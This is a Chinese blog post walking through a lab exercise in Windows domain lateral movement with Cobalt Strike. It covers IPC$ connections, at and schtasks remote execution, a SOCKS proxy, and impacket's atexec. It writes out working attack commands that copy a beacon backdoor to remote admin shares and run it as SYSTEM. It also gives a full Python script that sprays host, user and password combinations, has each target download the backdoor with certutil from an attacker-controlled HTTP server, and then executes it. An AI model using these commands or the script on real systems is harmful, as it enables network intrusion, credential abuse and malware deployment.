内网安全-横向移动-IPC&AT&atexec

目录

基础配置

环境

实验目标 

实验 

域横向移动-IPC-命令版-at&schtasks

域横向移动-IPC-代理版-Socks&Py&atexec


 

基础配置

环境

Server2008系统:192.168.52.132

Server2016系统:192.168.52.128

win7系统: 192.168.52.130(无法出网),192.168.36.130(可以出网)

Server2008系统,域控制器的DC,ip地址为192.168.52.132,无法出网

 

Server2016系统,域成员,ip地址为192.168.52.128,无法出网

 

Win7系统,域成员,ip地址为192.168.52.130(无法出网),192.168.36.130(可以出网)

 

 

实验目标 

win7、server2008和server2016在同一个域内,利用win可以上网的优势获取win7的webshell,以win7利用点横向移动使其他服务器上线cs。

实验 

域横向移动-IPC-命令版-at&schtasks

实验过程:获取出网主机shell------复制后门脚本到目标路径-----利用at命令执行脚本-----利用cs链接

先利用cs的后门脚本上传到win7,使win7上线cs。

实战场景获取win7webshell,利用web漏洞、数据库、中间件和插件都可以。(并非本篇文章重点,所以直接用虚拟机操作)

通过time和user命令分别判断win7系统是否在域内和域内的用户

shell net time /domain        获取域内的时间,判断系统是否存在域

shell net user /domain        获取域内的用户

 

 

 

 

 利用cs的端口扫描功能对会话进行扫描,因为通过36网段上线的cs,所以可以判断域在52网段,实战场景中可以都扫一下。

可以发现分别存在130132和128三个地址,证明该网段的域存在三个主机

注意:1、端口扫描如要管理权限,非管理权限提权后进行

           2、因为目标时扫描网段存在的ip,所以不需要扫描全部端口,只需要扫描常开端口即可 

 

 

 

在目标列表中也发现了三台主机,利用会话在凭证提权里抓取明文密码和hash值,可以发现能简单的获取win7的账号密码和一些信息。

 

 

 

 现在已经获取了win7的信息,并且知道了域中的ip地址,那么实现让其他主机上线,

测试地址:192.168.52.132地址

 创建监听器,本地采用正向连接,所以使用tcp进行链接  

基于监听器创建后门脚本

 

 

接下来就是将后门脚本放入到目标地址中即可。先利用win7的shell与132网段建立api链接

 

 

通过命令查看当前win7所在的目录并在对应的目录下上传后门脚本,方便一会利用绝对路径下载。

Windows:chdir

Linux:pwd 

 

 

 

 

 在利用命令把win7目录下的脚本复制到目标目录,利用at的计时命令去执行脚本实现其上线。

复制命令:shell copy DC.exe \\192.168.52.132\$c

        将后门的DC文件复制到目标的C盘

执行命令:shell at \\192.168.52.132 11:26 c:\DC.exe

        利用at命令让132地址的DC文件在11:26执行

 

 

  

时间到之后会自动自行DC文件,直接connect连接目标地址,即可通过130地址上线132地址

连接命令:connect IP地址 端口

 

 注意:

at命令适用于版本 < windows2012

schtasks适用于 >=Windows2012,原理与at命令相似,命令如下,不在演示。

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接:

copy beacon.exe \\192.168.3.32\c$ #复制后门到其C盘

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件

schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务

schtasks /delete /s 192.168.3.21 /tn beacon /f#删除beacon任务

 

域横向移动-IPC-代理版-Socks&Py&atexec

实验过程:获取出网主机权限-----pro建立代理-----利用python对目标主机执行atexec的文件下载和执行-----目标上线cs

环境依旧是刚才的环境,上线win7系统 

 

因为主机无法访问到虚拟机网段,所以可以利用代理实现

通过cs开启节点,让其他应用访问对应网络的都走代理,就可以成功访问到信息

右键会话-->代理转发-->Socks代理,生成随机的代理端口,端口为随机,本次端口为2280

 

 利用proxifier开启代理,配置代理服务器和代理规则

代理服务器:地址为开启cs的地址,端口为win7会话生成的端口地址,版本cs为socks4

代理规则:应用程序:代表哪些程序走代理,这里设置的是任意,代理任意程序都可以走代理

                  目标主机:代表访问哪些地址会走代理,这里设置代表只要访问52网段就走代理

                  目标端口:代表走代理的端口,这里设置为任意,代表任意端口都可

 

 

通过python利用atexec脚本执行,可以直接通过末尾代码执行命令并成功回显

 

 

依旧通过hash抓取和明文抓取获取信息,端口探测发现域内主机。获取主机和密码等信息

 

 

 

后续思路:利用python脚本执行刚才的命令,后面的命令分别以下载后门脚本和执行后门脚本即可。

利用HFS工具将后门脚本挂上,方便后续的下载

 

 

这边可以直接用py脚本批量执行,代理如下

import os,time

#设置主机ip

ips={

    '192.168.52.128',

    '192.168.52.130',

    '192.168.52.132'

}

#设置用户

users={

    'administrator',

    'win7',

}

#设置密码

passs={

    'admin!@#45',

    'Zhaochunpeng123.',

    'LLZzcp1314.'

}

#下载后门,利用for循环嵌套分别让地址、用户和密码进行组合。

def xz():

    for ip in ips:

        for user in users:

            for mima in passs:

#exec1:利用python执行atexec文件、获取本地用户并将末尾命令改为下载后门脚本,将地址、账号和密码改为for循环的变量

                exec1='python.exe D:\\tmp\\impacket-0.10.0\\examples\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.52.130/beacon.exe c:/beacon.exe"'

#exec2:利用python执行atexec文件、获取域用户并将末尾命令改为下载后门脚本,将地址、账号和密码改为for循环的变量

                exec2='python.exe D:\\tmp\\impacket-0.10.0\\examples\\atexec.py mozhu/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.52.130/beacon.exe c:/beacon.exe"'

                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'

                print('--->'+exec1+'<---')

                print('--->' + exec2 + '<---')

#利用os.system命令在cmd中执行exec1和exec2命令

                os.system(exec1)

                os.system(exec2)

def zx():#执行后门

    for ip in ips:

        for user in users:

            for mima in passs:

         

#exec1:利用python执行atexec文件、获取本地用户并将末尾命令改为执行后门脚本,将地址、账号和密码改为for循环的变量

                exec1 = 'python.exe D:\\tmp\\impacket-0.10.0\\examples\\atexec.py ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'

#exec2:利用python执行atexec文件、获取域用户并将末尾命令改为执行后门脚本,将地址、账号和密码改为for循环的变量

                exec2 = 'python.exe D:\\tmp\\impacket-0.10.0\\examples\\atexec.py mozhu/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'

                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'

                print('--->' + exec1 + '<---')

                print('--->' + exec2 + '<---')

#利用os.system命令在cmd中执行exec1和exec2命令

                os.system(exec1)

                os.system(exec2)

#调用xz和zx函数

if __name__ == '__main__':

    xz()

    zx()

 

 

脚本执行中,会发现win7和server2016中多一个后门文件,等脚本执行完,利用connect链接即可

 

 

 

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值